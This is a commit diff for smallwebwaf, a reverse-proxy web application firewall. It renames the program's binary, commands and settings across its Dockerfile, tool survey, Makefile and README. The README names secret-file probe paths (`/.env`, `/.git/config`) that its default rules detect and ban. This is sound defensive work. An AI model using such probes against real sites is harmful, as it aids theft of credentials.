Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
866b948ec0 |
No files matched your search
+16
-25
@@ -87,7 +87,7 @@ COPY . .
|
||||
# .git present, a version that is still empty, dev or unknown fails the
|
||||
# build: git is missing or could not read the checkout. The no_fs_access
|
||||
# tag keeps Coraza from writing the files of a multipart body to the
|
||||
# system's temporary directory, since sww writes only to its state
|
||||
# system's temporary directory, since smallwebwaf writes only to its state
|
||||
# directory.
|
||||
ARG VERSION
|
||||
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
||||
@@ -99,7 +99,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
||||
fi; \
|
||||
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
|
||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||
-o /usr/local/bin/sww ./cmd/sww
|
||||
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
|
||||
|
||||
# runsvinit, the image's entrypoint, built at the last commit of its
|
||||
# archived repository. It has no go.mod, and `go build` of its directory
|
||||
@@ -118,7 +118,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
|
||||
-o /usr/local/bin/runsvinit .
|
||||
|
||||
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
||||
# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
|
||||
# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it.
|
||||
# It is the last stage, so a plain `docker build .` builds it.
|
||||
#
|
||||
# ubuntu 26.04, 2026-09-27
|
||||
@@ -136,19 +136,10 @@ RUN mkdir /etc/sysusers.d \
|
||||
# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
|
||||
# them over plain HTTP and checks each one against the archive's signed
|
||||
# package lists, so no CA certificates are needed.
|
||||
#
|
||||
# nix-bin depends on xz-utils, whose install links man pages with
|
||||
# update-alternatives. The image's dpkg config drops man pages, so each
|
||||
# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes
|
||||
# the man1 pages for this install alone; the same step deletes them again,
|
||||
# so no man page or package is added.
|
||||
RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \
|
||||
&& apt-get update \
|
||||
RUN apt-get update \
|
||||
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
|
||||
ca-certificates nix-bin runit \
|
||||
&& rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \
|
||||
&& find /usr/share/man/man1 ! -type d -delete \
|
||||
&& find /etc/alternatives -type l -xtype l -delete
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Nix run by root expects a group of build users, which nix-bin does not
|
||||
# create; with the setting empty, root's builds run without them.
|
||||
@@ -175,27 +166,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
|
||||
ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
|
||||
|
||||
COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
|
||||
COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
|
||||
COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf
|
||||
|
||||
# 65532 is above the uids Ubuntu keeps for system users, which end at
|
||||
# 999; useradd warns about it unless --key raises that end for this call.
|
||||
RUN groupadd --system --gid 65532 sww \
|
||||
RUN groupadd --system --gid 65532 smallwebwaf \
|
||||
&& useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
|
||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||
sww
|
||||
--gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \
|
||||
smallwebwaf
|
||||
|
||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||
# The state files' directory, SWWAF_STATE_DIR by default, where a volume
|
||||
# is mounted to keep them across deploys. The run script gives it to the
|
||||
# sww user at each start of discriminator.
|
||||
RUN mkdir /var/lib/sww
|
||||
# smallwebwaf user at each start of servewaf.
|
||||
RUN mkdir /var/lib/smallwebwaf
|
||||
|
||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||
# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile
|
||||
# built FROM this image can copy rule files of its own beside it.
|
||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||
COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules
|
||||
|
||||
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
|
||||
# looks too.
|
||||
COPY --chmod=755 share/sww.run /etc/service/sww/run
|
||||
COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
@@ -203,6 +194,6 @@ EXPOSE 8080
|
||||
# check runs every second from the start until it first passes, for up
|
||||
# to a minute, and every 30 seconds after that.
|
||||
HEALTHCHECK --start-period=1m --start-interval=1s \
|
||||
CMD ["/usr/local/bin/sww", "healthcheck"]
|
||||
CMD ["/usr/local/bin/smallwebwaf", "healthcheck"]
|
||||
|
||||
ENTRYPOINT ["/usr/local/bin/runsvinit"]
|
||||
+46
-58
@@ -12,8 +12,8 @@ configured only by environment variables, that provides:
|
||||
- R1: rate limits per minute, per hour and per day
|
||||
- R2: netblocks that bypass rate limiting
|
||||
- R3: alerts on attacks through webhook, Slack or ntfy
|
||||
- R4: alerts on anomalies: requests made or bytes transferred per minute or
|
||||
hour, for given IPs or netblocks, crossing a threshold
|
||||
- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs
|
||||
or netblocks, crossing a threshold
|
||||
- R5: temporary blocks for abusers, permanent bans for repeat offenders
|
||||
- R6: one or more RBLs or IP reputation APIs
|
||||
- R7: AS number lookup
|
||||
@@ -24,19 +24,14 @@ configured only by environment variables, that provides:
|
||||
|
||||
## Verdict
|
||||
|
||||
Nothing existing is suitable. No surveyed tool meets R8, which asks for limits
|
||||
scaled by AS number or country. None meets R4's alerts on bytes transferred. The
|
||||
tools that come closest on the rest fail R10: they need several containers, YAML
|
||||
or a web UI. The recommendation is to build a small single-binary sidecar;
|
||||
`SPEC.md` in this directory begins that spec.
|
||||
|
||||
The sidecar reuses the mature parts of the surveyed field instead of
|
||||
reimplementing them. It takes these as libraries and data sources:
|
||||
|
||||
- Coraza and the OWASP Core Rule Set, for attack detection
|
||||
- DNSBLs
|
||||
- AbuseIPDB
|
||||
- optionally, a CrowdSec decision feed
|
||||
Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS
|
||||
number or country) or the bytes half of R4 at all, and the tools that come
|
||||
closest on the rest fail R10: they need several containers, YAML or a web UI.
|
||||
The recommendation is to build a small single-binary sidecar; `SPEC.md` in this
|
||||
directory begins that spec. It reuses the mature parts of the surveyed field as
|
||||
libraries and data sources (Coraza and the OWASP Core Rule Set for attack
|
||||
detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of
|
||||
reimplementing them.
|
||||
|
||||
Closest existing options, and why each still falls short:
|
||||
|
||||
@@ -50,16 +45,13 @@ Closest existing options, and why each still falls short:
|
||||
external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
|
||||
blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
|
||||
Set, or Coraza plugin), env-var settings.
|
||||
- Fails:
|
||||
- R8: AS number and country can only allow or deny, never scale a limit.
|
||||
- R4: no alerts on request-count or byte thresholds in the free edition;
|
||||
reporting is a paid feature.
|
||||
- R5: no escalation for repeat offenders.
|
||||
- R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb`
|
||||
container, a `bw-scheduler` container and a database, or the
|
||||
all-in-one image that bundles nginx, the scheduler, the UI and Redis.
|
||||
- It is designed as the proxy in front of many sites, not as a sidecar for
|
||||
one app. AGPL-3.0.
|
||||
- Fails: R8 (AS number and country can only allow or deny, never scale a
|
||||
limit), R4 (no volume or byte threshold alerts in the free edition;
|
||||
reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6
|
||||
it needs a `bunkerweb` container plus a `bw-scheduler` container and a
|
||||
database, or the all-in-one image that bundles nginx, scheduler, UI and
|
||||
Redis in one container. It is designed to be the front door for many
|
||||
sites, not a per-app sidecar. AGPL-3.0.
|
||||
- Unverified: whether several rates (minute, hour, day) can be stacked on
|
||||
the same URL pattern; the documented design is one rate per URL pattern.
|
||||
- CrowdSec is the strongest detection and ban engine, but it is not a proxy.
|
||||
@@ -74,20 +66,16 @@ Closest existing options, and why each still falls short:
|
||||
listed AS numbers is possible, but each is a hand-written YAML scenario,
|
||||
it reacts after the fact by banning, and it is not an inline limiter that
|
||||
answers 429.
|
||||
- Fails:
|
||||
- R10, because it needs:
|
||||
- the security engine container with persistent state
|
||||
- log acquisition from traefik
|
||||
- a bouncer such as the traefik plugin
|
||||
- YAML for acquisition, profiles, scenarios and notifications
|
||||
- R4's alerts on bytes.
|
||||
- Fails: R10 (needs the security engine container with persistent state, log
|
||||
acquisition from traefik, a bouncer such as the traefik plugin, and YAML
|
||||
for acquisition, profiles, scenarios and notifications), bytes half of R4.
|
||||
- CrowdSec plus traefik's own `rateLimit` middleware is the best combination
|
||||
with no new code. It gives inline limiting (one window per middleware, keyed
|
||||
by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
|
||||
reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely:
|
||||
the configuration lives in traefik labels and CrowdSec YAML on each host, not
|
||||
in one sidecar's environment. It meets R1's three windows only by chaining
|
||||
three middlewares per router.
|
||||
reputation. It still fails R8, the bytes half of R4, R1's three stacked
|
||||
windows only by chaining three middlewares per router, and R10 entirely: the
|
||||
configuration lives in traefik labels and CrowdSec YAML on each host, not in
|
||||
one sidecar's environment.
|
||||
|
||||
## Candidate by candidate
|
||||
|
||||
@@ -99,10 +87,10 @@ Closest existing options, and why each still falls short:
|
||||
cached, streamed decision list (recommended), standalone against the
|
||||
central API, or AppSec only. Supports captcha remediation.
|
||||
- Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
|
||||
- Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes.
|
||||
- Misses: the plugin itself does no rate limiting; R8; R4 bytes.
|
||||
- Configuration: traefik static config to load the plugin, dynamic config or
|
||||
labels for the middleware, CrowdSec YAML for everything else.
|
||||
- Sidecar fit: no. It runs inside traefik and needs a separate engine
|
||||
- Sidecar fit: no. It lives inside traefik, plus a separate engine
|
||||
container.
|
||||
- Maturity: widely used (about 900 stars, listed in the traefik plugin
|
||||
catalog, documented by CrowdSec itself), actively maintained. Traefik
|
||||
@@ -127,7 +115,7 @@ Closest existing options, and why each still falls short:
|
||||
- What it is: nginx-derived (Tengine) reverse proxy with a proprietary
|
||||
semantic detection engine and a web console. About 22,000 stars.
|
||||
- Covers: R9 well, basic per-IP rate limiting with block duration, bot
|
||||
challenge, authentication in front of the app.
|
||||
challenge, authentication gate.
|
||||
- Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert
|
||||
messages, syslog forwarding and the better reputation database are paid
|
||||
(Lite about 10 USD per month, Pro about 100 USD per month); the free
|
||||
@@ -140,7 +128,7 @@ Closest existing options, and why each still falls short:
|
||||
- Coraza (`corazawaf/coraza`) and Coraza-based proxies
|
||||
- What it is: a Go library that implements the ModSecurity rule language and
|
||||
runs the OWASP Core Rule Set. OWASP project, actively maintained, the
|
||||
successor to ModSecurity, which is now in maintenance only.
|
||||
successor path now that ModSecurity is in maintenance only.
|
||||
- Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
|
||||
`coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
|
||||
`coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
|
||||
@@ -154,7 +142,7 @@ Closest existing options, and why each still falls short:
|
||||
- ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
|
||||
- What it is: official images of Apache or nginx with ModSecurity and the
|
||||
Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`,
|
||||
paranoia level, anomaly thresholds, many more). Current images contain
|
||||
paranoia level, anomaly thresholds, many more). Current images carry
|
||||
ModSecurity 2.9.x on Apache and Core Rule Set 4.x.
|
||||
- Covers: R9, and R10 (single container, env vars, one backend).
|
||||
- Misses: R1 to R8.
|
||||
@@ -164,16 +152,16 @@ Closest existing options, and why each still falls short:
|
||||
- Anubis (`TecharoHQ/anubis`), 1.27 current
|
||||
- What it is: a single-binary reverse proxy that makes browsers solve a
|
||||
proof-of-work challenge before passing them to `TARGET`. Aimed at
|
||||
scrapers, which are likely a large share of the unwanted traffic on a
|
||||
public code forge.
|
||||
scrapers, which is likely a large share of unwanted traffic on a public
|
||||
gitea.
|
||||
- Covers: R10 well (one container, env vars for listener, target,
|
||||
difficulty, cookies). Policy rules can match on path, user agent, headers,
|
||||
IP ranges, and with the vendor's hosted data service also AS number and
|
||||
country, and can weigh a request toward a harder challenge.
|
||||
- Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
|
||||
vars. AS number and country matching depend on the vendor's hosted
|
||||
service. Breaks non-browser clients unless paths are exempted; for a code
|
||||
forge, git-over-HTTP and API paths must be allowed through by rule.
|
||||
service. Breaks non-browser clients unless paths are exempted; for gitea,
|
||||
git-over-HTTP and API paths must be allowed through by rule.
|
||||
- Maturity: very active, widely deployed on code forges since 2025.
|
||||
- Value here: complementary. It can be chained (traefik, then the sidecar,
|
||||
then Anubis, then the app) if challenge pages are wanted.
|
||||
@@ -192,13 +180,13 @@ Closest existing options, and why each still falls short:
|
||||
temporary ban, no escalation, state lost on traefik restart) and R2
|
||||
(allowlist). Nothing else.
|
||||
- `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock
|
||||
plugins (country allow or deny through an external lookup API): each adds
|
||||
one small feature, is configured in traefik and keeps its state in memory.
|
||||
plugins (country allow or deny through an external lookup API): same
|
||||
shape, each one small feature, configured in traefik, state in memory.
|
||||
- Sidecar fit: no; they live inside traefik.
|
||||
- Traefik built-in middlewares
|
||||
- `rateLimit` (one average-and-burst window per middleware, optional Redis
|
||||
in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
|
||||
lookups or AS number lookups.
|
||||
or AS number awareness.
|
||||
- caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
|
||||
- What it is: a Caddy module with regex rules and anomaly scoring, per-IP
|
||||
and per-path rate limiting with one configurable window, IP and DNS
|
||||
@@ -210,12 +198,12 @@ Closest existing options, and why each still falls short:
|
||||
- open-appsec (Check Point)
|
||||
- Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
|
||||
a declarative policy file or the vendor's cloud console. Covers R9 only;
|
||||
rate limiting and richer features are in paid tiers. It attaches to an
|
||||
existing proxy, so it is not the sidecar R10 asks for.
|
||||
rate limiting and richer features are in paid tiers. Not a sidecar in the
|
||||
required sense.
|
||||
- iocaine
|
||||
- Serves generated garbage pages to clients the fronting proxy classifies as
|
||||
scrapers. Not a limiter, WAF or ban tool; out of scope, and only of
|
||||
passing interest for scraper traffic.
|
||||
scrapers. Not a limiter, WAF or ban tool; out of scope except as a
|
||||
curiosity for scraper traffic.
|
||||
- Pangolin
|
||||
- A tunnelled access platform that bundles traefik and optionally CrowdSec.
|
||||
Replaces the ingress rather than adding a sidecar; out of scope.
|
||||
@@ -226,17 +214,17 @@ Closest existing options, and why each still falls short:
|
||||
Everyone else offers one window per rule or none.
|
||||
- R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins.
|
||||
- R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid).
|
||||
- R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts
|
||||
on request counts with a custom scenario; no surveyed tool alerts on bytes.
|
||||
- R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one
|
||||
fixed length or permanent, and does not change with a client's history.
|
||||
- R4 volume and byte anomalies: none. CrowdSec can approximate request-count
|
||||
anomalies with a custom scenario; nothing handles bytes.
|
||||
- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent,
|
||||
not both by history.
|
||||
- R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists).
|
||||
- R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or
|
||||
deny), Anubis (hosted service).
|
||||
- R8 biased thresholds: none.
|
||||
- R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open,
|
||||
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza
|
||||
or ModSecurity).
|
||||
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the
|
||||
first).
|
||||
- R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis.
|
||||
None of these covers anything beyond its one job.
|
||||
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
|
||||
hooks build run example-app
|
||||
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
|
||||
run example-app gitea-requests gitea-setup
|
||||
|
||||
# Makefile targets are thin shims; the implementations live in script/
|
||||
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
|
||||
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
|
||||
# which test checks. build and run are for working on the code by hand;
|
||||
# example-app checks the image with an app built on it; publish builds
|
||||
# the image on the Docker host and pushes it to the registry.
|
||||
# example-app checks the image with an app built on it; gitea-requests
|
||||
# reports the gitea requests the Core Rule Set refuses at the defaults;
|
||||
# gitea-setup checks the setup in deploy/gitea.
|
||||
|
||||
bootstrap:
|
||||
@script/bootstrap
|
||||
@@ -35,9 +36,6 @@ check:
|
||||
docker:
|
||||
@script/docker
|
||||
|
||||
publish:
|
||||
@script/publish
|
||||
|
||||
hooks:
|
||||
@script/install-precommit
|
||||
|
||||
@@ -49,3 +47,9 @@ run:
|
||||
|
||||
example-app:
|
||||
@script/example-app
|
||||
|
||||
gitea-requests:
|
||||
@script/gitea-requests
|
||||
|
||||
gitea-setup:
|
||||
@script/gitea-setup
|
||||
@@ -7,29 +7,29 @@ requests of scrapers, scanners and other abusers before they reach an app.
|
||||
## What it does
|
||||
|
||||
A web application firewall reads each request on its way to a web app and
|
||||
refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
|
||||
shipped in one image, with two commands that do this together:
|
||||
refuses the ones that look like abuse. `smallwebwaf` is one binary, shipped in
|
||||
one image, with two commands that do this together:
|
||||
|
||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||
it. It asks `discriminator` about each request, passes the allowed ones to the
|
||||
app, and passes the app's answers back. It keeps nothing and never touches
|
||||
disk.
|
||||
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
||||
counters and each client's history. One `discriminator` serves many sites: a
|
||||
client banned through one site is refused on all of them, and its requests on
|
||||
all of them count toward one set of limits.
|
||||
- `smallwebwaf rproxy` is a small reverse proxy in front of one app. traefik
|
||||
routes to it. It asks `servewaf` about each request, passes the allowed ones
|
||||
to the app, and passes the app's answers back. It keeps nothing and never
|
||||
touches disk.
|
||||
- `smallwebwaf servewaf` decides. It runs the checks and keeps the bans, the
|
||||
counters and each client's history. One `servewaf` serves many sites: a client
|
||||
banned through one site is refused on all of them, and its requests on all of
|
||||
them count toward one set of limits.
|
||||
|
||||
The site keeps answering while `discriminator` is down, slow or restarting:
|
||||
without an answer in time, `rproxy` passes the request to the app.
|
||||
The site keeps answering while `servewaf` is down, slow or restarting: without
|
||||
an answer in time, `rproxy` passes the request to the app.
|
||||
|
||||
It protects against:
|
||||
|
||||
- Scrapers that fetch every page of a site, all day. Each client gets a limit on
|
||||
requests and on body bytes per minute, per hour and per day. The defaults
|
||||
leave room for a person reading a site for hours. They catch a scraper that
|
||||
keeps up one request every 2 seconds. A client that breaks a limit is banned:
|
||||
for a while at first, for three times as long at each repeat, and permanently
|
||||
when it keeps at it.
|
||||
requests and on bytes per minute, per hour and per day. The defaults leave
|
||||
room for a person reading a site for hours. They catch a scraper that keeps up
|
||||
one request every 2 seconds. A client over a limit is refused and banned: for
|
||||
a while at first, for three times as long at each repeat, and permanently when
|
||||
it keeps at it.
|
||||
- Scanners that probe for secrets, such as `/.env` or `/.git/config`. The
|
||||
default rule file bans such a client at its first probe, and its next request
|
||||
during the ban makes the ban permanent. Your own rules, or a list of trap
|
||||
@@ -68,9 +68,8 @@ Not built, and not planned:
|
||||
|
||||
### The image
|
||||
|
||||
The image is published at `git.eeqj.de/sneak/smallwebwaf`. You can also build it
|
||||
from a clone. `make docker` runs the tests and the linter, then builds the
|
||||
image, tagged `smallwebwaf`.
|
||||
No image is published. Build it from a clone. `make docker` runs the tests and
|
||||
the linter, then builds the image, tagged `smallwebwaf`.
|
||||
|
||||
```sh
|
||||
git clone https://git.eeqj.de/sneak/smallwebwaf.git
|
||||
@@ -80,11 +79,11 @@ make docker
|
||||
|
||||
Push the image to a registry your hosts pull from, and name it there by digest.
|
||||
|
||||
The image runs `rproxy` by default. To run `discriminator` from the same image,
|
||||
set the container's `SWW_COMMAND` to `discriminator`. The image's health check
|
||||
The image runs `rproxy` by default. To run `servewaf` from the same image, set
|
||||
the container's `SMALLWEBWAF_COMMAND` to `servewaf`. The image's health check
|
||||
follows the command: in `rproxy`'s container it passes once `rproxy` answers and
|
||||
the app accepts connections, whether or not `discriminator` answers; in
|
||||
`discriminator`'s container, once `discriminator` answers.
|
||||
the app accepts connections, whether or not `servewaf` answers; in `servewaf`'s
|
||||
container, once `servewaf` answers.
|
||||
|
||||
### The usual setup: three containers
|
||||
|
||||
@@ -92,24 +91,24 @@ The usual setup is three containers on one private network:
|
||||
|
||||
- the app;
|
||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
|
||||
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
||||
`/var/lib/sww` for its state files.
|
||||
names `servewaf` and `SWRP_UPSTREAM_URL` names the app;
|
||||
- `servewaf`, with `SMALLWEBWAF_COMMAND=servewaf` and a volume at
|
||||
`/var/lib/smallwebwaf` for its state files.
|
||||
|
||||
Point traefik's labels at port 8080 of `rproxy`
|
||||
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
||||
of the app or of `discriminator`. Anything on that network can reach the app
|
||||
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
||||
only what you trust. Each further app adds its own container and its own
|
||||
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
|
||||
setup" example below shows this shape.
|
||||
of the app or of `servewaf`. Anything on that network can reach the app around
|
||||
`rproxy`, and can ask `servewaf` questions, so the network holds only what you
|
||||
trust. Each further app adds its own container and its own `rproxy`, whose
|
||||
`SWRP_WAF_BACKEND` names the same `servewaf`. The "Smallest setup" and "In front
|
||||
of gitea" examples below show this shape.
|
||||
|
||||
### `rproxy` in the app's container
|
||||
|
||||
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
||||
runs beside the app in one container. `discriminator` still runs in a container
|
||||
of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
|
||||
by digest, and adds:
|
||||
runs beside the app in one container. `servewaf` still runs in a container of
|
||||
its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by
|
||||
digest, and adds:
|
||||
|
||||
- the app's binary;
|
||||
- the packages the app needs, from the nixpkgs in the image;
|
||||
@@ -169,16 +168,16 @@ does.
|
||||
- A log line with `"msg":"starting"` gives the version, the address and every
|
||||
setting in effect, with secrets masked.
|
||||
- A request to the site through traefik gets the app's answer.
|
||||
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
||||
the request have `"action":"forward"`.
|
||||
- To see a refusal without banning yourself, run `discriminator` with
|
||||
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
||||
`https://<site>/_smallwebwaf/healthz` answers `ok`. `servewaf`'s log lines
|
||||
about the request have `"action":"forward"`.
|
||||
- To see a refusal without banning yourself, run `servewaf` with
|
||||
`SWWAF_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||
`servewaf`'s log lines have `"would_action":"banned"` and
|
||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
||||
"Clients and bans" below describes.
|
||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||
`discriminator`'s network:
|
||||
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
||||
- With `SWWAF_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||
`servewaf`'s network:
|
||||
`curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/metrics`.
|
||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||
the whole exchange (see "Entrypoints").
|
||||
|
||||
@@ -186,17 +185,16 @@ does.
|
||||
|
||||
Every setting is an environment variable, read once at start; changing one means
|
||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and
|
||||
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
||||
`servewaf` only the `SWWAF_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
||||
default, chosen for a service on the open internet. A setting that needs an
|
||||
account, a key, a token or an alert destination stays off until you give one.
|
||||
|
||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||
contents are the value, less one newline at the end. Setting both forms stops
|
||||
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
|
||||
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
||||
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
|
||||
one, since `rproxy` never touches disk.
|
||||
- Any `SWWAF_` setting can be given as a file instead, for secrets and long
|
||||
lists: `SWWAF_ADMIN_TOKEN_FILE` names the file that holds `SWWAF_ADMIN_TOKEN`.
|
||||
The file's contents are the value, less one newline at the end. Setting both
|
||||
forms stops the start. `SWWAF_LOG_REMOTE_TLS_CA_FILE` and
|
||||
`SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
||||
`_FILE` form. No `SWRP_` setting has one, since `rproxy` never touches disk.
|
||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
||||
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
||||
1024: `512K`, `100M`, `5G`.
|
||||
@@ -210,10 +208,6 @@ account, a key, a token or an alert destination stays off until you give one.
|
||||
percentage is a whole number from 0 to 100. A path prefix starts with `/`.
|
||||
- `off` switches a limit, a threshold or a timeout off where the table says a
|
||||
setting takes it.
|
||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||
app's response bodies, the visitors' request bodies, or both, as
|
||||
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
|
||||
a WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||
- An invalid setting stops the process at start with one log line naming the
|
||||
variable and what is wrong with the value. The settings in effect are logged
|
||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||
@@ -221,122 +215,121 @@ account, a key, a token or an alert destination stays off until you give one.
|
||||
Every setting the code reads, with its default:
|
||||
|
||||
| Variable | Default | What it does |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||
| ------------------------------------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SMALLWEBWAF_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `servewaf`. |
|
||||
| `SWRP_WAF_BACKEND` | required | `servewaf`'s URL, such as `http://servewaf:8080`. |
|
||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `servewaf`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `servewaf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
